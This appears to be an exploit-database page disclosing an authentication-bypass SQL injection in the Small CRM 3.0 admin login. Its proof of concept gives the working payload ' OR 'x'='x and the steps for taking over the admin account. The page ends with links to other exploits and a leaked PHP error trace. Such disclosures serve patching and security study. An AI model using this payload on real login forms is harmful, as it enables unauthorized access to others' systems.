Small crm 3.0 authentication bypass sql injection Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2021-06-14 | Type : webapps | Platform : php
This exploit / vulnerability Small crm 3.0 authentication bypass sql injection is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: Small CRM 3.0 - 'Authentication Bypass' SQL Injection
# Date: 12/06/2021
# Exploit Author: BHAVESH KAUL
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/small-crm-php/
# Version: 3.0
# Tested on: Server: XAMPP

# Description #

Small CRM 3.0 is vulnerable to SQL Injection on it's admin login because of insufficient user supplied data sanitization and the sql injection payload being executed. Attacker is able to access the admin login panel and supply the malicious payload, successfully taking over admin account.

# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/crm/admin/

2) Enter the following payload in 'Username' and 'Password' parameter: ' OR 'x'='x

3) SQL Injection successfull

Small crm 3.0 authentication bypass sql injection


Last added Exploits Vulnerabilities

▸ soplanning 1.52.01 (simple online planning tool) - remote code execution (rce) (authenticated) ◂
Discovered: 2024-11-15
Type: webapps
Platform: php
▸ rengine 2.2.0 - command injection (authenticated) ◂
Discovered: 2024-10-01
Type: webapps
Platform: multiple
▸ opensis 9.1 - sqli (authenticated) ◂
Discovered: 2024-10-01
Type: webapps
Platform: php



Tags:
Small crm 3.0 authentication bypass sql injection Vulnerability / Exploit



Fatal error: Uncaught mysqli_sql_exception: Too many connections in /var/www/html/_dbconfig.inc.php:45 Stack trace: #0 /var/www/html/_dbconfig.inc.php(45): mysqli->__construct() #1 /var/www/html/_footer.inc.php(2): require('...') #2 /var/www/html/security/exploits-vulnerability/vuln.php(221): require('...') #3 {main} thrown in /var/www/html/_dbconfig.inc.php on line 45